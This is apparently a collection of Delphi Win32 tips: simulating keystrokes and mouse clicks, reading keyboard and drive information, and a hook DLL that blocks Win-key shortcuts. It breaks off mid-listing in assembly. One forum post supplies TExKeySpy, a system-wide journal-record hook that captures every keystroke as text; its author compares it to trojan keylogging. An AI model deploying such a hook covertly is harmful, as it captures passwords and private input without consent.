{ move message in buffer to message queue }

PEventMsg(lParam)^ := MessageBuffer;

Result := 0 { process immediately }

end

else

{ if Code isn't HC_SKIP or HC_GETNEXT, call next hook in chain }

Result := CallNextHookEx(HookHandle, Code, wParam, lParam);

end;

end;

procedure StartPlayback;

{ Initializes globals and sets the hook }

begin

{ grab first message from list and place in buffer in case we }

{ get a hc_GetNext before and hc_Skip }

MessageBuffer := TEventMsg(MessageList.Items[0]^);

{ initialize message count and play indicator }

MsgCount := 0;

{ initialize Alt, Control, and Shift key flags }

AltPressed := False;

ControlPressed := False;

ShiftPressed := False;

{ set the hook! }

HookHandle := SetWindowsHookEx(wh_JournalPlayback, Play, hInstance,

0);

if HookHandle = 0 then

raise ESKSetHookError.Create('Failed to set hook');

Playing := True;

end;

procedure MakeMessage(vKey: byte; M: Cardinal);

{ procedure builds a TEventMsg record that emulates a keystroke and }

{ adds it to message list }

var

E: PEventMsg;

begin

New(E); // allocate a message record

with E^ do

begin

message := M; // set message field

paramL := vKey; // vk code in ParamL

paramH := MapVirtualKey(vKey, 0); // scan code in ParamH

time := GetTickCount; // set time

hwnd := 0; // ignored

end;

MessageList.Add(E);

end;

procedure KeyDown(vKey: byte);

{ Generates KeyDownMessage }

begin

{ don't generate a "sys" key if the control key is pressed }

{ (This is a Windows quirk) }

if AltPressed and (not ControlPressed) and (vKey in vkKeySet) then

MakeMessage(vKey, wm_SysKeyDown)

else

MakeMessage(vKey, wm_KeyDown);

end;

procedure KeyUp(vKey: byte);

{ Generates KeyUp message }

begin

{ don't generate a "sys" key if the control key is pressed }

{ (This is a Windows quirk) }

if AltPressed and (not ControlPressed) and (vKey in vkKeySet) then

MakeMessage(vKey, wm_SysKeyUp)

else

MakeMessage(vKey, wm_KeyUp);

end;

procedure SimKeyPresses(VKeyCode: Word);

{ This function simulates keypresses for the given key, taking into }

{ account the current state of Alt, Control, and Shift keys }

begin

{ press Alt key if flag has been set }

if AltPressed then

KeyDown(vk_Menu);

{ press Control key if flag has been set }

if ControlPressed then

KeyDown(vk_Control);

{ if shift is pressed, or shifted key and control is not pressed...

}

if (((Hi(VKeyCode) and 1) <> 0) and (not ControlPressed)) or

ShiftPressed then

KeyDown(vk_Shift); { ...press shift }

KeyDown(Lo(VKeyCode)); { press key down }

KeyUp(Lo(VKeyCode)); { release key }

{ if shift is pressed, or shifted key and control is not pressed...

}

if (((Hi(VKeyCode) and 1) <> 0) and (not ControlPressed)) or

ShiftPressed then

KeyUp(vk_Shift); { ...release shift }

{ if shift flag is set, reset flag }

if ShiftPressed then begin

ShiftPressed := False;

end;

{ Release Control key if flag has been set, reset flag }

if ControlPressed then begin

KeyUp(vk_Control);

ControlPressed := False;

end;

{ Release Alt key if flag has been set, reset flag }

if AltPressed then begin

KeyUp(vk_Menu);

AltPressed := False;

end;

end;

procedure ProcessKey(S: String);

{ This function parses each character in the string to create the }

{ message list }

var

KeyCode: word;

Key: byte;

index: integer;

Token: TKeyString;

begin

index := 1;

repeat

case S[index] of

KeyGroupOpen:

{ It's the beginning of a special token! }

begin

Token := '';

inc(index);

while S[index] <> KeyGroupClose do begin

{ add to Token until the end token symbol is encountered }

Token := Token + S[index];

inc(index);

{ check to make sure the token's not too long }

if (Length(Token) = 7) and (S[index] <> KeyGroupClose) the

n

raise ESKInvalidToken.Create('No closing brace');

end;

{ look for token in array, Key parameter will }

{ contain vk code if successful }

if not FindKeyInArray(Token, Key) then

raise ESKInvalidToken.Create('Invalid token');

{ simulate keypress sequence }

SimKeyPresses(MakeWord(Key, 0));

end;

AltKey: AltPressed := True; // set Alt flag

ControlKey: ControlPressed := True; // set Control flag

ShiftKey: ShiftPressed := True; // set Shift flag

else begin

{ A normal character was pressed }

{ convert character into a word where the high byte contains }

{ the shift state and the low byte contains the vk code }

KeyCode := vkKeyScan(S[index]);

{ simulate keypress sequence }

SimKeyPresses(KeyCode);

end;

end;

Inc(index);

until index > Length(S);

end;

procedure WaitForHook;

begin

repeat Application.ProcessMessages until not Playing;

end;

function SendKeys(S: String): TSendKeyError;

{ This is the one entry point. Based on the string passed in the S }

{ parameter, this function creates a list of keyup/keydown messages, }

{ sets a JournalPlayback hook, and replays the keystroke messages. }

begin

Result := sk_None; // assume success

try

if Playing then raise ESKAlreadyPlaying.Create('');

MessageList := TMessageList.Create; // create list of messages

ProcessKey(S); // create messages from strin

g

StartPlayback; // set hook and play back messa

ges

except

{ if an exception occurs, return an error code, and clean up }

on E:ESendKeyError do

begin

MessageList.Free;

if E is ESKSetHookError then

Result := sk_FailSetHook

else if E is ESKInvalidToken then

Result := sk_InvalidToken

else if E is ESKAlreadyPlaying then

Result := sk_AlreadyPlaying;

end

else

Result := sk_UnknownError; // Catch-all exception handler

end;

end;

end.


键盘状态(Insert & overwrite)
if lo(GetKeyState(vk_insert))=0 then

showmessage('Insert')

else

showmessage('Overwrite');


键盘信息
case getkeyboardtype(0) of //获取键盘类型

1: buffer:=' 键盘: IBM PC/XT或兼容类型(83键)';

2: buffer:=' 键盘: Olivetti "ICO"(102键)';

3: buffer:=' 键盘: IBM PC/AT(84键)';

4: buffer:=' 键盘: IBM增强型(101或102键)';

5: buffer:=' 键盘: Nokia 1050';

6: buffer:=' 键盘: Nokia 9140';

7: buffer:=' 键盘: Japanese';

end;

//获取键盘功能键数目

memo1.lines.add(' 功能键数目:

'+inttostr(getkeyboardtype(2)));

//获取鼠标按键数目

memo1.Lines.add(' 鼠标:

'+inttostr(getsystemmetrics(SM_CMOUSEBUTTONS))+'键');

globalmemorystatus(meminfo); //获取系统内存数量

memo1.lines.add(' 物理内存:

'+inttostr(meminfo.dwTotalPhys div 1024)+' KB');

x:=getsystemmetrics(SM_ARRANGE);

//获取系统最小化窗口的起始位置和排列方式

y:=x;

x:=x and 3;

y:=y and 12;

case x of

ARW_BOTTOMLEFT : buffer:=' 最小化窗口:自左下角';

ARW_BOTTOMRIGHT : buffer:=' 最小化窗口:自右下角';

ARW_TOPLEFT : buffer:=' 最小化窗口:自左上角';

ARW_TOPRIGHT : buffer:=' 最小化窗口:自右上角';

end;

case y of

ARW_LEFT : buffer:=buffer+'横向排列';

ARW_UP : buffer:=buffer+'纵向排列';

ARW_HIDE : buffer:=buffer+'隐藏';

end;

memo1.lines.add(buffer);


鼠标中键问题
This problem is too easy le!

When the user pushes the middle button in your client area, Windows will send a WM_MBUTTONDOWN message, similar as WM_LBUTTONDOWN too u. You can overload it to implement your action. When the middle button is moving(let's just say so), u will receive a WM_MOUSEWHEEL message. You can process this message just as you process WM_VSCROLL, but is easier.

By the way, if u want to have some special cursor, u'll have to use standard LoadCursor(From your own resource) and SetCursor API, according to the mouse action.

Why the default window does not implement this is because that it is imposible to know your scroll limit. You can provide your own class(which use virtual functions) to have the default process.

回复人：pino(2000-9-15 16:27:00) 得0分

我又重新做了一下试验，纠正一个错误

实际上 TMemo,TListBox,TComboBox 都支持中键自动滚屏，该功能由系统完成，

而 TRichEdit 确实不支持，实际上是系统不支持，看来只有自己编写滚屏部分了。

最后再问一个问题，谁知道滚屏的光标在那个系统文件里面？就是那个几个箭头！

有人答了马上分点数


一个键盘Hook控件
summernightrain(夏夜雨)

MapVirtualKey是个API函数。关于它的用法可以在 API函数的帮助中查到，我想就不用多说了。

我只是想解释一下，我为什么要这样做的原因好了。

是这样的，我要做一个监视键盘的程序（就是木马中常用的那种功能），我找到了一个自称为不用Hook方法就可以实现拦截键盘的控件，我研究了半天。因为它用来拦截键盘有问题，有顺序错误（这还得了，作为一个木马出这样的错误，不是成了废物？？当然我编的不是一个木马了！！呵呵），而且其中一处汇编调用导致了还不用在Win2000使用。所以我决定自己做了。

我开始用DLL,SetWindowsHookEx(WH_KEYBOARD.....)结果不好 ，还要带一个动态连接库，真麻烦，上面的控件（叫KeySpy）就可以不用DLL。后来我发现SetWindowsHookEx(WH_KEYBOARD.....)这个函数不用放在DLL中也可以工作，于是高兴坏了。马上动手，等我编好以后，又发现了一个致命问题焦点不再自己身上的时候就得不到，还不如在窗体中用OnKeyDown呢！！浪费时间！！！（关于这个问题我没有仔细研究，如果那位大侠知道的话，请赐教，就是不用DLL的SetWindowsHookEx(WH_KEYBOARD....也能做键盘监视吗？），

后来我又研究了一个例子，决定利用这例子的原理写一个控件（主要原理代码付后），也是用的SetWindowsHookEx，不过变成了这样的调用SetWindowsHookex(WH_JOURNALRECORD, KeyBoardHook, Hinstance, 0);就是WH_JOURNALRECORD这种类型的钩子，是用来监视系统事件的，而function KeyBoardHook(iCode: Integer; wParam: wParam;

lParam: lParam): LRESULT; stdcall;中 lParam就是事件结构的指针了，哈哈。得到时间结构的指针不久可以判断了吗？

于是就有：

pMsg := pEventMsg(lParam); //pEventMsg是一个自定义的事件结构

if ((pMsg.Message = WM_KEYDOWN) or (pMsg.Message = WM_SYSKEYDOWN)) then

PostMessage(OwnerHandle, WM_KEYSPY, pMsg.paramL, pMsg.paramH)

问题似乎解决了，我长出了一个口气，上面的pMsg.ParamL就是VirtualKey Code虚拟键码，就等于OnKeyDown中的Key那个参数。

得到虚拟键码就好办了，然后我为了监视工作跟加一目了然，当然是把这个键码转换成字符串，比如键码91就得到WIN这个字符串(这个 WIN 让我吃尽苦头，后面会详细解释原因的)，27就得到ESC....等等。工作太繁琐，那以前的那个KeySpy来看，哈哈，它定义了长的常量数组，都写好了，照搬过来。成了，这里我说明一下，先开始不知道那段汇编是干吗的，于是照搬。

这段汇编

{asm

in al, 60h

mov Key, al

end; }

实际上是KeySpy用来监视键盘的核心，它用一个Timer去查询当前键盘中的扫描码，就是当前被按下的那些键，而我呢？弄巧成拙了，把它当成将虚拟键码转换成扫描码的过程，当然也可以这么用，因为当时这个键确实被按下了。后来我把KeySpy中的这段汇编给去掉了，改成我的MapVirtualKey函数，看它的定义--MapVirtualKey(虚拟键码,标志）：扫描码； 一看就知道返回值是以虚拟键码为前提的。KeySpy一被这样改就变成了DoNothing控件。而我的控件可不是用这原理哦，嘿嘿，因为我在调用MapVirtualKey之前已经得到正确的虚拟键码了！！

关于Win的烦恼篇：

（抱歉，有点灌水嫌疑，请正在看的朋友耐心点），用了SetWindowsHookex(WH_JOURNALRECORD, KeyBoardHook, Hinstance, 0);和MapVirtualKey蛮以为可以高枕无忧乐，98和2000都可以用，哈哈！！完事咯！！我马上编了一个例子来测试它，它工作的非常好。突然，我莫名其妙的按下了WIN键，再按其它的键，发现它已经失效了，就是只要我按下了WIN，这个钩子就不起作用了。我开始查错。。。。调试。。。查错。。。。。（叮叮光光，修理它），还是不行，不论怎样避免都不行，看来是机制问题。没办法查帮助，现在看来帮助真是个好东西啊，打开帮助看WH_JOURNALRECORD这种HOOK的说明，下面引用引起这问题的一段帮助中的原文说明：

If the user presses CTRL+ESC or CTRL+ALT+DEL during journal playback, the system stops the playback, unhooks the journal playback procedure, and posts a WM_CANCELJOURNAL message to the journaling application.

看明白了吧？只要用户按了CTRL+ESC or CTRL+ALT+DEL ，所有的journal playback 都会被UnHook掉，CTRL+ESC =WIN键，气死我了！！！

哎，没办法，看来我在这条路上是死定了。。。。。（后记：这个问题也已经被我解决，不过方法吗，不值得提倡和推广，所以就不拿出来丢丑了）

付的源码：

（请在这方面有经验的朋友一定要无私的奉献一下，共同进步嘛！！）

{*************************************************************}

{ TExKeySpy Component for Delphi 5.0 }

{ Version: 1.0 }

{ Author: Xuxing }

{ ? }

{ E-Mail: www@juzorn.com.cn;ukyo521xu@sina.com }

{ Created: August, 22, 2001 }

{ Modified: August, 22, 2001 }

{ Legal: Copyright (c) 1999 by Xuxing from Wuhan China }

{*************************************************************}

unit ExKeySpy;

interface

uses

{$IFDEF WIN32}Windows, {$ELSE}WinTypes, WinProcs, {$ENDIF}

SysUtils, Controls, Classes, Messages, Forms, Dialogs;

const

WM_KEYSPY = WM_USER + 20;

LowButtonName: array[1..88] of PChar = ('--Esc', '1', '2', '3', '4', '5', '6', '7', '8', '9',

'0', '-', '=', '--BkSp', '--Tab', 'q', 'w', 'e', 'r', 't',

'y', 'u', 'i', 'o', 'p', '[', ']', '--Enter', '--Ctrl', 'a',

's', 'd', 'f', 'g', 'h', 'j', 'k', 'l', ';', '''', '`',

'--LShift Down', ', 'z', 'x', 'c', 'v', 'b', 'n', 'm', ',',

'.', '/', '--RShift Down', '--Gray*', '--Alt', '--Space',

'--CapsLock', '--F1', '--F2', '--F3', '--F4', '--F5',

'--F6', '--F7', '--F8', '--F9', '--F10',

'--NumLock', '--ScrollLock', '--Home', '--Up',

'--PgUp', '--Gray-', '--Left', '5', '--Right',

'--Gray+', '--End', '--Down', '--PgDown', '--Ins',

'--Del', '--LShift Up', '--RShift Up',

'--Unknown', '--F11', '--F12');

HiButtonName: array[1..88] of PChar = ('--Esc', '!', '@', '#', '$', '%', '^', '&', '*', '(',

')', '_', '+', '--BkSp', '--Tab', 'Q', 'W', 'E', 'R', 'T',

'Y', 'U', 'I', 'O', 'P', '{', '}', '--Enter', '--Ctrl', 'A',

'S', 'D', 'F', 'G', 'H', 'J', 'K', 'L', ':', '"', '~',

'--LShift Down', '|', 'Z', 'X', 'C', 'V', 'B', 'N', 'M', '<',

'>', '?', '--RShift Down', '--Gray*', '--Alt', '--Space',

'--CapsLock', '--F1', '--F2', '--F3', '--F4', '--F5',

'--F6', '--F7', '--F8', '--F9', '--F10',

'--NumLock', '--ScrollLock', '--HomeX', '--Up',

'--PgUp', '--Gray-', '--Left', '5', '--Right',

'--Gray+', '--End', '--Down', '--PgDown', '--Ins',

'--Del', '--LShift Up', '--RShift Up',

'--Unknown', '--F11', '--F12');

type

TEventMsg = packed record

Message: UINT;

paramL: UINT;

paramH: UINT;

time: DWORD;

hwnd: HWND;

end;

pEventMsg = ^TEventMsg;

type

TOnGetKey = procedure(Sender: TObject; Key: Byte; KeyStr: string) of object;

TExKeySpy = class(TComponent)

private

FEnabled: Boolean;

FOwnerWin: THandle;

FOnGetKey: TOnGetKey;

FForm: TForm;

FOldFormMethod: TWndMethod;

procedure WM_GETKEY(var Message: TMessage);

procedure Win_Proc(var Message: TMessage);

procedure SetEnabled(Value: Boolean);

{ Private declarations }

protected

{ Protected declarations }

public

constructor Create(AOwner: TComponent); override;

destructor Destroy; override;

property Active: Boolean read FEnabled write SetEnabled;

{ Public declarations }

published

property OnGetKey: TOnGetKey read FOnGetKey write FOnGetKey;

{ Published declarations }

end;

var

hNextHookProc: hHook;

OwnerHandle: Thandle;

Count: Cardinal;

procedure Register;

implementation

procedure Register;

begin

RegisterComponents('WalkSlowly', [TExKeySpy]);

end;

{ TExKeySpy }

constructor TExKeySpy.Create(AOwner: TComponent);

begin

inherited Create(AOwner);

FEnabled := False;

FOwnerWin := 0;

FForm := TForm(AOwner);

if FForm <> nil then

begin

FOldFormMethod := FForm.WindowProc;

OwnerHandle := FForm.Handle;

FForm.WindowProc := Win_Proc;

end;

end;

destructor TExKeySpy.Destroy;

begin

inherited Destroy;

if FEnabled then

begin

UnHookWindowsHookEx(hNextHookProc);

hNextHookProc := 0;

end;

end;

function KeyBoardHook(iCode: Integer; wParam: wParam;

lParam: lParam): LRESULT; stdcall;

const _KeyPressMask = $80000000;

var

pMsg: PEventMsg;

recOK: Integer;

begin

recOK := 1;

Result := 0;

if iCode < 0 then

Result := CallNextHookEx(hNextHookProc, iCode, wParam, lParam)

else

if iCode = HC_SYSMODALON then

recOK := 0

else

if iCode = HC_SYSMODALOFF then

recOK := 1

else

if ((recOK > 0) and (iCode = HC_ACTION)) then

begin

pMsg := pEventMsg(lParam);

if ((pMsg.Message = WM_KEYDOWN) or (pMsg.Message = WM_SYSKEYDOWN)) then

PostMessage(OwnerHandle, WM_KEYSPY, pMsg.paramL, pMsg.paramH)

end;

end;

procedure DisableKeyHook;

begin

UnHookWindowsHookEx(hNextHookProc);

hNextHookProc := 0;

end;

function EnableKeyHook: Boolean;

begin

Result := False;

if hNextHookProc <> 0 then Exit;

hNextHookProc := SetWindowsHookex(WH_JOURNALRECORD, KeyBoardHook, Hinstance, 0);

Result := hNextHookProc <> 0;

end;

procedure TExKeySpy.SetEnabled(Value: Boolean);

begin

if Value <> FEnabled then

begin

FEnabled := Value;

if FEnabled then

EnableKeyHook

else

DisableKeyHook;

end;

end;

procedure TExKeySpy.Win_Proc(var Message: TMessage);

begin

if (csDesigning in ComponentState) then

FOldFormMethod(Message)

else

case Message.Msg of

WM_KEYSPY: WM_GETKEY(Message);

else

FOldFormMethod(Message);

end;

end;

procedure TExKeySpy.WM_GETKEY(var Message: TMessage);

var

Key, OldKey: Byte;

KeyStr: string;

Point: TPoint;

begin

GetCursorPos(Point);

Key := Message.WParam;

OldKey := Key;

{asm

in al, 60h

mov Key, al //这就是那一段让人头疼了一段时间的汇编

end; }

Key := MapVirtualKey(Key, 0);

if Key = 91 then //处理WIN健

begin

//省略若干字

end;

if Key = 170 then

Key := 84;

if Key = 182 then

Key := 85;

if Key = 250 then

Key := 186;

if Key <= 88 then

begin

if GetKeyState(VK_Shift) < 0 then

KeyStr := StrPas(HiButtonName[Key])

else

KeyStr := StrPas(LowButtonName[Key]);

if (GetKeyState(vk_Capital) = 1) and (Length(KeyStr) = 1) then

KeyStr := UpperCase(KeyStr);

end

else

begin

if (Key - 128 > 0) and (Key - 128 < 88) then

begin

if GetKeyState(VK_Shift) < 0 then

KeyStr := StrPas(HiButtonName[Key - 128])

else

KeyStr := StrPas(LowButtonName[Key - 128]);

if (GetKeyState(vk_Capital) = 1) and (Length(KeyStr) = 1) then

KeyStr := UpperCase(KeyStr);

end;

end;

if (GetKeyState(VK_NUMLOCK) = 1) and (OldKey >= 96) and (OldKey <= 105) then

KeyStr := Inttostr(OldKey - 96);

FOnGetKey(Self, Key, KeyStr);

end;

end.


禁止Win键
如何禁止Ctrl和Alt之间的Win键？必须用HOOK：

deactivate the (Windows) keys with a systemwide Hook?

{

** What is a Hook? **

A hook is a point in the system message-handling mechanism where an

application can install a subroutine to monitor the message traffic in

the system and process certain types of messages before they reach the target window procedure.

To use the Windows hook mechanism, a program calls the SetWindowsHookEx() API function,

passing the address of a hook procedure that is notified when the specified

event takes place. SetWindowsHookEx() returns the address of the previously installed

hook procedure for the same event type. This address is important,

because hook procedures of the same type form a kind of chain.

Windows notifies the first procedure in the chain when an event occurs,

and each procedure is responsible for passing along the notification.

To do so, a hook procedure must call the CallNextHookEx() API function,

passing the previous hook procedure's address.

--> All system hooks must be located in a dynamic link library.

** The type of Hook used in this Example Code: **

The WH_GETMESSAGE hook enables an application to monitor/intercept messages

about to be returned by the GetMessage or PeekMessage function.

}

{

** Hook Dll - WINHOOK.dll **

WINHOOK.dpr

|-----WHookInt.pas

** Interface unit ** WHookDef.dpr

}

{********** Begin WHookDef.dpr **************}

{ Interface unit for use with WINHOOK.DLL }

unit WHookDef;

interface

uses

Windows;

function SetHook(WinHandle: HWND; MsgToSend: Integer): Boolean; stdcall;

function FreeHook: Boolean; stdcall;

implementation

function SetHook; external 'WINHOOK.DLL' Index 1;

function FreeHook; external 'WINHOOK.DLL' Index 2;

end.

{********** End WHookDef.dpr **************}

{********** Begin Winhook.dpr **************}

{ The project file }

{ WINHOOK.dll }

library Winhook;

uses

WHookInt in 'Whookint.pas';

exports

SetHook index 1,

FreeHook index 2;

end.

{********** End Winhook.dpr **************}

{********** Begin WHookInt.pas **************}

unit WHookInt;

interface

uses

Windows, Messages, SysUtils;

function SetHook(WinHandle: HWND; MsgToSend: Integer): Boolean; stdcall; export;

function FreeHook: Boolean; stdcall; export;

function MsgFilterFunc(Code: Integer; wParam, lParam: Longint): Longint stdcall; export;

implementation

// Memory map file stuff

{

The CreateFileMapping function creates unnamed file-mapping object

for the specified file.

}

function CreateMMF(Name: string; Size: Integer): THandle;

begin

Result := CreateFileMapping($FFFFFFFF, nil, PAGE_READWRITE, 0, Size, PChar(Name));

if Result <> 0 then

begin

if GetLastError = ERROR_ALREADY_EXISTS then

begin

CloseHandle(Result);

Result := 0;

end;

end;

end;

{ The OpenFileMapping function opens a named file-mapping object. }

function OpenMMF(Name: string): THandle;

begin

Result := OpenFileMapping(FILE_MAP_ALL_ACCESS, False, PChar(Name));

// The return value is an open handle to the specified file-mapping object.

end;

{

The MapViewOfFile function maps a view of a file into

the address space of the calling process.

}

function MapMMF(MMFHandle: THandle): Pointer;

begin

Result := MapViewOfFile(MMFHandle, FILE_MAP_ALL_ACCESS, 0, 0, 0);

end;

{

The UnmapViewOfFile function unmaps a mapped view of a file

from the calling process's address space.

}

function UnMapMMF(P: Pointer): Boolean;

begin

Result := UnmapViewOfFile(P);

end;

function CloseMMF(MMFHandle: THandle): Boolean;

begin

Result := CloseHandle(MMFHandle);

end;

// Actual hook stuff

type

TPMsg = ^TMsg;

const

VK_D = $44;

VK_E = $45;

VK_F = $46;

VK_M = $4D;

VK_R = $52;

MMFName = 'MsgFilterHookDemo';

type

PMMFData = ^TMMFData;

TMMFData = record

NextHook: HHOOK;

WinHandle: HWND;

MsgToSend: Integer;

end;

// global variables, only valid in the process which installs the hook.

var

MMFHandle: THandle;

MMFData: PMMFData;

function UnMapAndCloseMMF: Boolean;

begin

Result := False;

if UnMapMMF(MMFData) then

begin

MMFData := nil;

if CloseMMF(MMFHandle) then

begin

MMFHandle := 0;

Result := True;

end;

end;

end;

{

The SetWindowsHookEx function installs an application-defined

hook procedure into a hook chain.

WH_GETMESSAGE Installs a hook procedure that monitors messages

posted to a message queue.

For more information, see the GetMsgProc hook procedure.

}

function SetHook(WinHandle: HWND; MsgToSend: Integer): Boolean; stdcall;

begin

Result := False;

if (MMFData = nil) and (MMFHandle = 0) then

begin

MMFHandle := CreateMMF(MMFName, SizeOf(TMMFData));

if MMFHandle <> 0 then

begin

MMFData := MapMMF(MMFHandle);

if MMFData <> nil then

begin

MMFData.WinHandle := WinHandle;

MMFData.MsgToSend := MsgToSend;

MMFData.NextHook := SetWindowsHookEx(WH_GETMESSAGE, MsgFilterFunc, HInstance, 0);

if MMFData.NextHook = 0 then

UnMapAndCloseMMF

else

Result := True;

end

else

begin

CloseMMF(MMFHandle);

MMFHandle := 0;

end;

end;

end;

end;

{

The UnhookWindowsHookEx function removes the hook procedure installed

in a hook chain by the SetWindowsHookEx function.

}

function FreeHook: Boolean; stdcall;

begin

Result := False;

if (MMFData <> nil) and (MMFHandle <> 0) then

if UnHookWindowsHookEx(MMFData^.NextHook) then

Result := UnMapAndCloseMMF;

end;

(*

GetMsgProc(

nCode: Integer; {the hook code}

wParam: WPARAM; {message removal flag}

lParam: LPARAM {a pointer to a TMsg structure}

): LRESULT; {this function should always return zero}

{ See help on ==> GetMsgProc}

*)

function MsgFilterFunc(Code: Integer; wParam, lParam: Longint): Longint;

var

MMFHandle: THandle;

MMFData: PMMFData;

Kill: boolean;

begin

Result := 0;

MMFHandle := OpenMMF(MMFName);

if MMFHandle <> 0 then

begin

MMFData := MapMMF(MMFHandle);

if MMFData <> nil then

begin

if (Code < 0) or (wParam = PM_NOREMOVE) then

{

The CallNextHookEx function passes the hook information to the

next hook procedure in the current hook chain.

}

Result := CallNextHookEx(MMFData.NextHook, Code, wParam, lParam)

else

begin

Kill := False;

{ Examples }

with TMsg(Pointer(lParam)^) do

begin

// Kill Numbers

if (wParam >= 48) and (wParam <= 57) then Kill := True;

// Kill Tabulator

if (wParam = VK_TAB) then Kill := True;

end;

{ Example to disable all the start-Key combinations }

case TPMsg(lParam)^.message of

WM_SYSCOMMAND: // The Win Start Key (or Ctrl+ESC)

if TPMsg(lParam)^.wParam = SC_TASKLIST then Kill := True;

WM_HOTKEY:

case ((TPMsg(lParam)^.lParam and $00FF0000) shr 16) of

VK_D, // Win+D ==> Desktop

VK_E, // Win+E ==> Explorer

VK_F, // Win+F+(Ctrl) ==> Find:All (and Find: Computer)

VK_M, // Win+M ==> Minimize all

VK_R, // Win+R ==> Run program.

VK_F1, // Win+F1 ==> Windows Help

VK_PAUSE: // Win+Pause ==> Windows system properties

Kill := True;

end;

end;

if Kill then TPMsg(lParam)^.message := WM_NULL;

Result := CallNextHookEx(MMFData.NextHook, Code, wParam, lParam)

end;

UnMapMMF(MMFData);

end;

CloseMMF(MMFHandle);

end;

end;

initialization

begin

MMFHandle := 0;

MMFData := nil;

end;

finalization

FreeHook;

end.

{********** End WHookInt.pas **************}

{ *******************************************}

{ ***************** Demo ******************}

{ *******************************************}

{

** HostApp.Exe **

HostApp.dpr

|-----FrmMainU.pas

}

{********** Begin HostApp.dpr **************}

{ Project file }

program HostApp;

uses

Forms,

FrmMainU in 'FrmMainU.pas' {FrmMain};

{$R *.RES}

begin

Application.Initialize;

Application.CreateForm(TFrmMain, FrmMain);

Application.Run;

end.

{********** End HostApp.dpr **************}

{********** Begin FrmMainU.pas **************}

unit FrmMainU;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,

StdCtrls, ExtCtrls;

const

HookDemo = 'WINHOOK.dll';

const

WM_HOOKCREATE = WM_USER + 300;

type

TFrmMain = class(TForm)

Panel1: TPanel;

BtnSetHook: TButton;

BtnClearHook: TButton;

procedure BtnSetHookClick(Sender: TObject);

procedure BtnClearHookClick(Sender: TObject);

procedure FormCreate(Sender: TObject);

private

FHookSet: Boolean;

procedure EnableButtons;

public

end;

var

FrmMain: TFrmMain;

function SetHook(WinHandle: HWND; MsgToSend: Integer): Boolean; stdcall;

external HookDemo;

function FreeHook: Boolean; stdcall; external HookDemo;

implementation

{$R *.DFM}

procedure TFrmMain.EnableButtons;

begin

BtnSetHook.Enabled := not FHookSet;

BtnClearHook.Enabled := FHookSet;

end;

// Start the Hook

procedure TFrmMain.BtnSetHookClick(Sender: TObject);

begin

FHookSet := LongBool(SetHook(Handle, WM_HOOKCREATE));

EnableButtons;

end;

// Stop the Hook

procedure TFrmMain.BtnClearHookClick(Sender: TObject);

begin

FHookSet := FreeHook;

EnableButtons;

BtnClearHook.Enabled := False;

end;

procedure TFrmMain.FormCreate(Sender: TObject);

begin

EnableButtons;

end;

end.

{********** End FrmMainU.pas **************}


模拟鼠标点击
鼠标自动点击的例子，模拟鼠标点击

procedure TForm1.Button1Click(Sender: TObject);

var

x,y:integer;

begin

x:= form1.Left+button2.Left+25;

y:= top+button2.Top+27;

SetCursorPos(x,y);

Mouse_Event(MOUSEEVENTF_LEFTDOWN,X,Y,0,0);

Mouse_Event(MOUSEEVENTF_LEFTUP,X,Y,0,0);

end;

procedure TForm1.Button2Click(Sender: TObject);

begin

showmessage('fksj');

end;

*************************************

// Set the mouse cursor to position x,y:

SetCursorPos(x, y);

// Simulate the left mouse button down

mouse_event(MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0);

mouse_event(MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);

// Simulate the right mouse button down

mouse_event(MOUSEEVENTF_RIGHTDOWN, 0, 0, 0, 0);

mouse_event(MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0);


小键盘的Enter和大键盘的Enter
{

The following code sample demonstrates differentiating

between these two ENTER keys:

}

procedure TForm1.WMKeyDown(var Message: TWMKeyDown);

begin

inherited;

case Message.CharCode of

VK_RETURN: // ENTER pressed

if (Message.KeyData and $1000000 <> 0) then

// Test bit 24 of lParam

ShowMessage('ENTER on numeric keypad')

else

ShowMessage('ENTER on Standard keyboard');

end;

end;


软驱中是否有软盘?
if disksize(1)=-1 表示软驱A中没有软盘

**********

///检查驱动器中是否有磁盘

function DiskInDrive(const Drive: char): Boolean;

var

DrvNum: byte;

EMode: Word;

begin

result := false;

DrvNum := ord(Drive);

if DrvNum >= ord('a') then dec(DrvNum,$20);

EMode := SetErrorMode(SEM_FAILCRITICALERRORS);

try

if DiskSize(DrvNum-$40) <> -1 then result := true

else messagebeep(0);

finally

SetErrorMode(EMode);

end;

end;


监测光驱是否就绪
function CDROMReady(DRV:char):boolean;

var

i:dword;

buf:array[0..MAX_PATH] of char;

pd:DWORD;

begin

pd:=0;

GetVolumeInformation(DRV+':\',buf,i,@pd,i,i,buf,i);

result:=pd<>0;

end;


取当前可用驱动器
取当前可用驱动器

返回值为一个字符串，形如'ABCD'

function myGetLogicalDrives : String;

var

drives : set of 0..25;

drive : integer;

begin

Result := '';

DWORD( drives ) := Windows.GetLogicalDrives;

for drive := 0 to 25 do

if drive in drives then

Result := Result + Chr( drive + Ord( 'A' ));

end;

*********************

取的有效驱动器

API函数

DWORD GetLogicalDrives(VOID);

DWORD GetLogicalDriveStrings(

DWORD nBufferLength, // size of buffer

LPTSTR lpBuffer // drive strings buffer

);

UINT GetDriveType(

LPCTSTR lpRootPathName // root directory

);

******************

AvailableDrives :dword;

AvailableDrives := GetLogicalDrives;

for i:= 0 to 25 do

if GetBit(AvailableDrives,i+1)=1 then//如果驱动器存在

begin

DrivePath:=Char(Ord('A')+i)+':;

case GetDriveType(pchar(DrivePath)) of

DRIVE_FIXED :....//如果是硬盘

DRIVE_......

end;

end;


检测驱动器类型
procedure TForm1.Button1Click(Sender: TObject);

var

typ: Integer;

s: string;

begin

s := 'C:\';

typ := GetDriveType(PChar(s));

if Typ <> 0 then case typ of

DRIVE_REMOVABLE:

begin

ShowMessage('Drive Removable / Diskette');

end;

DRIVE_FIXED:

begin

ShowMessage('Drive fixed / Festplatte');

end;

DRIVE_CDROM:

begin

ShowMessage('CD ROM Drive');

end;

DRIVE_RAMDISK:

begin

ShowMessage('RAM Drive');

end;

DRIVE_REMOTE:

begin

ShowMessage('Remote Drive / Netzlaufwerk');

end;

end;

end;


磁盘感应功能
原理是改 软驱马达 的转动时间！

程序就在《电脑报》1997合订本的第45页！

code segment

assume cs:code

start proc far

push es

push ax

push cx

push dx

mov dl,[bx]

and dl,0dfh

sub dl,41h

jy:mov ax,0401h

mov cx,0001h

mov dh,00h

int 13h

cmp ah,80h

jz nodisk

jmp exit

